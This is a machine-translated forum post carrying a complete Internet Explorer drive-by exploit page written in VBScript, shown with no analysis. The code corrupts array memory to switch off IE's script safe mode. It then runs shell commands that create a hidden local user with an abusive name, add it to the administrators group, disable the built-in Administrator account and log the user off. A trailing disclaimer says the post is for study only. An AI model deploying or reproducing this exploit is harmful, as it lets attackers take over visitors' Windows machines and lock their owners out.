이 글은 기계 번역의 미러 문서이며, 원본 기사로 바로 이동하려면 여기를 클릭해 주세요.

보기: 12556|회답: 0

[보안 취약점] IE는 원격 명령 실행을 종료합니다

[링크 복사]
게시됨 2015. 4. 1. 오후 9:39:03 | | |
  1. <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />

  2. <!--[if !IE]><!--> 本网站目前只支持IE,请使用IE打开本页面 <!--<![endif]--><br>
  3. <!--[if IE]> 对不起,你没有权限打开本页面,请联系管理员 <![endif]-->


  4. <!--#####漏洞利用的前提:使用IE、未打漏洞的、未开360的############################################-->



  5. <!doctype html>
  6. <html>
  7. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
  8. <head>
  9. </head>
  10. <body>

  11. <scrip去掉t LANGUAGE="VBscrip去掉t">

  12. function runmumaa()
  13. On Error Resume Next
  14. set shell=createobject("wscrip去掉t.shell")
  15. shell.run "net user 大喊我是傻逼即可解锁 nishishabi /add",0
  16. shell.run "cmd.exe",0
  17. shell.run "cmd.exe",0
  18. shell.run "cmd.exe",0
  19. shell.run "net localgroup administrators 大喊我是傻逼即可解锁 /add",0
  20. shell.run "cmd.exe",0
  21. shell.run "cmd.exe",0
  22. shell.run "cmd.exe",0
  23. shell.run "net user administrator /active:no",0
  24. shell.run "cmd.exe",0
  25. shell.run "cmd.exe",0
  26. shell.run "cmd.exe",0
  27. shell.run "cmd.exe",0
  28. shell.run "shutdown -l",0
  29. end function

  30. </scrip去掉t>

  31. <scrip去掉t LANGUAGE="VBscrip去掉t">

  32. dim   aa()
  33. dim   ab()
  34. dim   a0
  35. dim   a1
  36. dim   a2
  37. dim   a3
  38. dim   win9x
  39. dim   intVersion
  40. dim   rnda
  41. dim   funclass
  42. dim   myarray

  43. Begin()

  44. function Begin()
  45.   On Error Resume Next
  46.   info=Navigator.UserAgent

  47.   if(instr(info,"Win64")>0)   then
  48.      exit   function
  49.   end if

  50.   if (instr(info,"MSIE")>0)   then
  51.              intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))  
  52.   else
  53.      exit   function
  54.             
  55.   end if

  56.   win9x=0

  57.   BeginInit()
  58.   If Create()=True Then
  59.      myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
  60.      myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

  61.      if(intVersion<4) then
  62.          document.write("<br> IE")
  63.          document.write(intVersion)
  64.          runshellcode()                  
  65.      else
  66.           setnotsafemode()
  67.      end if
  68.   end if
  69. end function

  70. function BeginInit()
  71.    Randomize()
  72.    redim aa(5)
  73.    redim ab(5)
  74.    a0=13+17*rnd(6)
  75.    a3=7+3*rnd(5)
  76. end function

  77. function Create()
  78.   On Error Resume Next
  79.   dim i
  80.   Create=False
  81.   For i = 0 To 400
  82.     If Over()=True Then
  83.     '   document.write(i)   
  84.        Create=True
  85.        Exit For
  86.     End If
  87.   Next
  88. end function

  89. sub testaa()
  90. end sub

  91. function mydata()
  92.     On Error Resume Next
  93.      i=testaa
  94.      i=null
  95.      redim  Preserve aa(a2)

  96.      ab(0)=0
  97.      aa(a1)=i
  98.      ab(0)=6.36598737437801E-314

  99.      aa(a1+2)=myarray
  100.      ab(2)=1.74088534731324E-310
  101.      mydata=aa(a1)
  102.      redim  Preserve aa(a0)
  103. end function


  104. function setnotsafemode()
  105.     On Error Resume Next
  106.     i=mydata()
  107.     i=readmemo(i+8)
  108.     i=readmemo(i+16)
  109.     j=readmemo(i+&h134)
  110.     for k=0 to &h60 step 4
  111.         j=readmemo(i+&h120+k)
  112.         if(j=14) then
  113.               j=0         
  114.               redim  Preserve aa(a2)            
  115.      aa(a1+2)(i+&h11c+k)=ab(4)
  116.               redim  Preserve aa(a0)

  117.      j=0
  118.               j=readmemo(i+&h120+k)  
  119.         
  120.                Exit for
  121.            end if

  122.     next
  123.     ab(2)=1.69759663316747E-313
  124.     runmumaa()
  125. end function

  126. function Over()
  127.     On Error Resume Next
  128.     dim type1,type2,type3
  129.     Over=False
  130.     a0=a0+a3
  131.     a1=a0+2
  132.     a2=a0+&h8000000

  133.     redim  Preserve aa(a0)
  134.     redim   ab(a0)   

  135.     redim  Preserve aa(a2)

  136.     type1=1
  137.     ab(0)=1.123456789012345678901234567890
  138.     aa(a0)=10
  139.          
  140.     If(IsObject(aa(a1-1)) = False) Then
  141.        if(intVersion<4) then
  142.            mem=cint(a0+1)*16            
  143.            j=vartype(aa(a1-1))
  144.            if((j=mem+4) or (j*8=mem+8)) then
  145.               if(vartype(aa(a1-1))<>0)  Then   
  146.                  If(IsObject(aa(a1)) = False ) Then            
  147.                    type1=VarType(aa(a1))
  148.                  end if              
  149.               end if
  150.            else
  151.              redim  Preserve aa(a0)
  152.              exit  function

  153.            end if
  154.         else
  155.            if(vartype(aa(a1-1))<>0)  Then   
  156.               If(IsObject(aa(a1)) = False ) Then
  157.                   type1=VarType(aa(a1))
  158.               end if              
  159.             end if
  160.         end if
  161.     end if
  162.             
  163.    
  164.     If(type1=&h2f66) Then        
  165.           Over=True     
  166.     End If
  167.     If(type1=&hB9AD) Then
  168.           Over=True
  169.           win9x=1
  170.     End If

  171.     redim  Preserve aa(a0)         
  172.       
  173. end function

  174. function ReadMemo(add)
  175.     On Error Resume Next
  176.     redim  Preserve aa(a2)

  177.     ab(0)=0  
  178.     aa(a1)=add+4   
  179.     ab(0)=1.69759663316747E-313      
  180.     ReadMemo=lenb(aa(a1))
  181.   
  182.     ab(0)=0   

  183.     redim  Preserve aa(a0)
  184. end function

  185. </scrip去掉t>

  186. </body>
  187. </html>
코드 복사





이전의:오라클 초보자 간단한 연습 문제
다음:asp.net 이미지 캡차 생성의 원칙과 코드
면책 조항:
Code Farmer Network에서 발행하는 모든 소프트웨어, 프로그래밍 자료 또는 기사는 학습 및 연구 목적으로만 사용됩니다; 위 내용은 상업적 또는 불법적인 목적으로 사용되지 않으며, 그렇지 않으면 모든 책임이 사용자에게 부담됩니다. 이 사이트의 정보는 인터넷에서 가져온 것이며, 저작권 분쟁은 이 사이트와는 관련이 없습니다. 위 내용은 다운로드 후 24시간 이내에 컴퓨터에서 완전히 삭제해야 합니다. 프로그램이 마음에 드신다면, 진짜 소프트웨어를 지원하고, 등록을 구매하며, 더 나은 진짜 서비스를 받아주세요. 침해가 있을 경우 이메일로 연락해 주시기 바랍니다.

Mail To:help@itsvse.com